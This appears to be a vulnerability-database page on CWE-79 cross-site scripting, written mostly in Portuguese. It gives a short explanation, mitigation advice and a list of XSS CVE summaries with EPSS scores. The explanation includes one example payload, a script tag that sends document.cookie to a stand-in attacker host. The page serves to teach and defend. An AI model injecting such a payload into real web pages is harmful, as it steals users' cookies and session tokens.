Fallos del tipo CWE-79

28.523 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-49943MEDIUMZoho ManageEngine ServiceDesk Plus MSP before 14504 allows stored XSS (by a low-privileged technician) via a task's name in a time sheet.EPSS 1.8%CVE-2021-24229—Patreon WordPress < 1.7.2 - Reflected XSS on patreon_save_attachment_patreon_level AJAX actionEPSS 1.8%CVE-2020-9735MEDIUMStored XSS in AEM's Content Repository Development EnvironmentEPSS 1.8%CVE-2020-9736MEDIUMStored XSS in AEM's Content Repository Development EnvironmentEPSS 1.8%CVE-2022-46381MEDIUMCertain Linear eMerge E3-Series devices are vulnerable to XSS via the type parameter (e.g., to the badging/badge_template_v0.php component).EPSS 1.8%CVE-2025-27888MEDIUMApache Druid: Server-Side Request Forgery and Cross-Site ScriptingEPSS 1.8%CVE-2023-6379MEDIUMCross-site Scripting in Alkacon Software OpenCmsEPSS 1.8%CVE-2022-0234—WOOCS < 1.3.7.5 - Reflected Cross-Site ScriptingEPSS 1.8%CVE-2021-24233—Cooked Pro < 1.7.5.6 - Unauthenticated Reflected Cross Site Scripting (XSS)EPSS 1.7%CVE-2023-51630HIGHPaessler PRTG Network Monitor Cross-Site Scripting Authentication Bypass VulnerabilityEPSS 1.7%CVE-2018-0289—A vulnerability in the logs component of Cisco Identity Services Engine could allow an unauthenticated, remote attacker to conduct cross-sitEPSS 1.7%CVE-2018-0327—A vulnerability in the web framework of Cisco Identity Services Engine (ISE) could allow an unauthenticated, remote attacker to conduct a crEPSS 1.7%CVE-2020-15183HIGHReflected XSS leading to RCE in SoyCMSEPSS 1.7%CVE-2023-29439HIGHWordPress FooGallery Plugin <= 2.2.35 is vulnerable to Cross Site Scripting (XSS)EPSS 1.7%CVE-2020-15275HIGHmalicious SVG attachment causing stored XSS vulnerability in MoinMoinEPSS 1.7%CVE-2020-24408MEDIUMStored XSS in customer address upload featureEPSS 1.7%CVE-2017-14850MEDIUMAll known versions of the Orpak SiteOmat web management console is vulnerable to multiple instances of Stored Cross-site Scripting due to imEPSS 1.7%CVE-2020-8238—A vulnerability in the authenticated user web interface of Pulse Connect Secure and Pulse Policy Secure < 9.1R8.2 could allow attackers to cEPSS 1.7%CVE-2021-38346HIGHBrizy <= 2.3.11 Authenticated Unrestricted File Upload and Path TraversalEPSS 1.7%CVE-2016-9490—ManageEngine Applications Manager versions 12 and 13 suffer from a Reflected Cross-Site Scripting vulnerabilityEPSS 1.7%